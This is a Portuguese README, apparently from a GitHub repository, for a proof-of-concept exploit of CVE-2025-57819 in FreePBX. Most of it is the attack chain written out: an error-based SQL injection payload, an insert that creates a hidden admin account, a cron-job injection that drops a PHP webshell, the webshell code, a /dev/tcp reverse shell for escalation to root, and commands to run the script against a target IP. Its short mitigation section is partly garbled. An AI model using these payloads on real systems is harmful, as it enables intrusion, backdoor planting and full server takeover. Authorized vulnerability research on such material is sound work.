
CVE-2025-57819 FreePBX SQLi RCE PoC
Apenas para Fins Educacionais e Pesquisa de Segurança – Veja o Aviso Legal Abaixo
Prova de conceito de exploração para CVE-2025-57819, uma vulnerabilidade crítica de injeção SQL não autenticada no FreePBX que permite execução remota de código. Este PoC é publicado após o lançamento oficial de correções para fins de pesquisa de segurança e testes autorizados.
As versões 15.x, 16.x e 17.x do FreePBX (abaixo das versões corrigidas) são vulneráveis a injeção SQL não autenticada no manipulador AJAX do módulo endpoint. Esta cadeia de vulnerabilidades permite:
| ID do CVE | CVE-2025-57819 |
| Tipo | Injeção SQL Não Autenticada (Baseada em Erro) |
| CVSS | 9.8 / 10.0 (Crítico) |
| Versões Afetadas | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Versões Corrigidas | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Sim (29 de agosto de 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
O parâmetro brand no manipulador AJAX do módulo endpoint aceita entrada do usuário sem validação, levando a injeção SQL baseada em erro.
Verifique a SQLi usando extração baseada em erro EXTRACTVALUE() para vazar o nome do banco de dados:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insira um novo usuário administrativo em asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Com credenciais de administrador válidas, o exploit se autentica no FreePBX e estabelece uma sessão autenticada. Os cookies de sessão são salvos e usados para todas as requisições autenticadas subsequentes.
Injete comando webshell em asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
O executor de cron do FreePBX executa o comando como usuário asterisk, implantando o webshell PHP.
O webshell PHP é implantado em /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
O exploit consulta o webshell até a ativação, alcançando RCE como usuário asterisk (uid=999).
Se o incron estiver configurado no alvo:
/var/spool/asterisk/incron/incrond (executando como root) detecta a criação do arquivo/usr/bin/sysadmin_manager com o nome do arquivo de gatilhosysadmin_manager valida a assinatura GPG e despacha para o hook fwconsole-commands/usr/sbin/fwconsole <COMANDO>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Resultado: Shell root no listener reverso (se o incron estiver disponível).
brandasterisk.cron_jobs executa comandos como asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Configurar Netcat Listener
nc -lvnp <Porta do Listener>
# Executar o Exploit
python3 JTR-CVE-2025-57819.py <IP_ALVO> <SEU_IP> <PORTA>

Imediata:
/admin/ajax.php de redes não confiáveissystemctl disable incrondPermanente: Atualize para as versões corrigidas: 15.0.66+, 16.0.89+ ou 17.0.3+
⚠️ AVISO
Esta prova de conceito é fornecida EXCLUSIVAMENTE PARA TESTES DE SEGURANÇA AUTORIZADOS E FINS EDUCACIONAIS. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
VOCÊ DEVE CUMPRIR COM:
USOS PROIBIDOS:
RENÚNCIA DE RESPONSABILIDADE: O autor não é responsável por:
Esta vulnerabilidade está:
JazzTheRabbit
MIT License
| Versão | Status |
|---|
| 15.0.0 - 15.0.65 | Vulnerável |
| 15.0.66+ | Corrigido |
| 16.0.0 - 16.0.88 | Vulnerável |
| 16.0.89+ | Corrigido |
| 17.0.0 - 17.0.2 | Vulnerável |
| 17.0.3+ | Corrigido |